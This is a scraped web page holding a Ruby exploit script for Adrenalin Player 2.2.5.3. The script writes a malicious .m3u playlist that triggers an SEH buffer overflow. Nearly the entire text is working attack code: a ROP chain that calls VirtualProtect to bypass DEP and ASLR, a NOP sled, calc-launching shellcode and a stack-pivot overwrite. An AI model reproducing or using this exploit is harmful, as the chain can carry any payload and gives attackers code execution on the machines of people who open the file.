扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 |
#!/usr/bin env ruby # Exploit Title: Adrenalin Player 2.2.5.3 (.m3u) SEH-Buffer Overflow ASLR+DEP Bypass # Date: 3/2/2014 # Exploit Author: Muhamad Fadzil Ramli # Vendor HomePage: http://software.naver.com/software/summary.nhn?softwareId=MFS_100099 # Software Link: http://software.naver.com/software/summary.nhn?softwareId=MFS_100099 # Version App: 2.2.5.3 # Tested on: Windows 7 x86 - Version 6.1.7600 # CVE:None # Notes:- # Offset to kernel32 - 0xF8C # Offset to virtualProtect - 0xC039 filename = "motiv.m3u" rop ='' rop << [0x10129df6].pack('V') # PUSH ESP # POP ESI # RETN 0x10 rop << [0x10135eaf].pack('V') * 5 # RETN rop << [0x1010c4c2].pack('V') # ADD ESP,20 # RETN rop << 'VVVV' # VirtualProtect() rop << 'WWWW' # return address rop << 'XXXX' # lpAddress rop << 'YYYY' # dwSize rop << 'ZZZZ' # flNewProtect rop << [0x1024bb98].pack('V') # lpOldProtect - writeable address rop << [0x10135eaf].pack('V') * 2 # RETN (ROP NOP) # kernel32 address rop << [0x1003de9f].pack('V') # PUSH ESI # POP EAX # MOV EAX,ESI # POP EDI # RETN rop << "AAAA" # FILLER rop << [0x1005de8e].pack('V') # XCHG EAX,EBP # RETN rop << [0x1012014d].pack('V') # XOR EAX,EAX # RETN rop << [0x101201d6].pack('V') # POP EAX # RETN rop << [0xFFFFF074].pack('V') # OFFSET F8C rop << [0x101111e2].pack('V') # NEG EAX # RETN rop << [0x1013a5e4].pack('V') # ADD EAX,EBP # RETN rop << [0x1010010f].pack('V') # POP ECX # RETN rop << [0xFFFFFFFF].pack('V') # rop << [0x1012dd87].pack('V') # MOV EAX,DWORD PTR DS:[EAX] # ADD EAX,ECX # RETN rop << [0x1012014b].pack('V') # INC EAX # RETN # virtualProtect Address rop << [0x1002660b].pack('V') # XCHG EAX,ECX # MOV EDX,5E5F0002 # POP EBP # POP EBX # RETN 0x0C rop << "XXXX" * 2 # FILLER rop << [0x1012014d].pack('V') # XOR EAX,EAX # RETN rop << "AAAA" * 3 # FILLER rop << [0x101201d6].pack('V') # POP EAX # RETN rop << [0xFFFF3FC7].pack('V') # OFSET C039 rop << [0x101111e2].pack('V') # NEG EAX # RETN rop << [0x1002660b].pack('V') # XCHG EAX,ECX # MOV EDX,5E5F0002 # POP EBP # POP EBX # RETN 0x0C rop << "AAAA" * 2 # FILLER rop << [0x1013c584].pack('V') # SUB EAX,ECX # RETN rop << [0x1010010f].pack('V') # POP ECX # RETN rop << [0xFFFFFFFF].pack('V') # rop << [0x1012dd87].pack('V') # MOV EAX,DWORD PTR DS:[EAX] # ADD EAX,ECX # RETN # assign virtualprotect address rop << [0x1006798b].pack('V') * 8 # INC ESI # RETN rop << [0x1010eac7].pack('V') # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop << "AAAA" # FILLER # return address rop << [0x10117105].pack('V') # PUSH EAX # POP ESI # POP EBX # RETN rop << [0x10135eaf].pack('V') # FILLER rop << [0x1014b57f].pack('V') # ADD EAX,100 # POP EBP # RETN rop << [0x10135eaf].pack('V') # FILLER rop << [0x1014b57f].pack('V') # ADD EAX,100 # POP EBP # RETN rop << [0x10135eaf].pack('V') # FILLER rop << [0x1006798b].pack('V') * 4 # INC ESI # RETN rop << [0x1010eac7].pack('V') # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop << "AAAA" # lpAddress rop << [0x10117105].pack('V') # PUSH EAX # POP ESI # POP EBX # RETN rop << [0x10135eaf].pack('V') # FILLER rop << [0x1014b57f].pack('V') # ADD EAX,100 # POP EBP # RETN rop << [0x10135eaf].pack('V') # RETN FILLER rop << [0x1014b57f].pack('V') # ADD EAX,100 # POP EBP # RETN rop << [0x10135eaf].pack('V') # FILLER rop << [0x1006798b].pack('V') * 4 # INC ESI # RETN rop << [0x1010eac7].pack('V') # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop << "AAAA" # FILLER # dwSize rop << [0x10117105].pack('V') # PUSH EAX # POP ESI # POP EBX # RETN rop << [0x10135eaf].pack('V') # FILLER rop << [0x1012014d].pack('V') # XOR EAX,EAX # RETN rop << [0x101201d6].pack('V') # POP EAX # RETN rop << [0xfffffcff].pack('V') # 300 rop << [0x101111e2].pack('V') # NEG EAX # RETN rop << [0x1006798b].pack('V') * 4 # INC ESI # RETN rop << [0x1010eac7].pack('V') # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop << "AAAA" # flNewProtect rop << [0x10117105].pack('V') # PUSH EAX # POP ESI # POP EBX # RETN rop << [0x10135eaf].pack('V') # RETN FILLER rop << [0x1012014d].pack('V') # XOR EAX,EAX # RETN rop << [0x101201d6].pack('V') # POP EAX # RETN rop << [0xffffffc0].pack('V') # 40 rop << [0x101111e2].pack('V') # NEG EAX # RETN rop << [0x1006798b].pack('V') * 4 # INC ESI # RETN rop << [0x1010eac7].pack('V') # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop << "AAAA" # Execute VirtualProtect rop << [0x101263a0].pack('V') # XCHG EAX,ESP # RETN sc = "\x66\x81\xE4\xFC\xFF\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52" + "\x56\x64\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E" + "\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x4C" + "\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xF5\x0F" + "\xB7\x54\x51\xFE\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7\xCC" xploit = rop xploit << "\x90" * 256 xploit << sc data = "A" * 2176 data[24,xploit.length] = xploit data[2172+4,4] = [0x100d7aec].pack("V") # SEH - STACK PIVOT File.open(filename,'w') do |fd| fd.write data puts "exploit file size : #{data.length.to_s}" end |
体验盒子
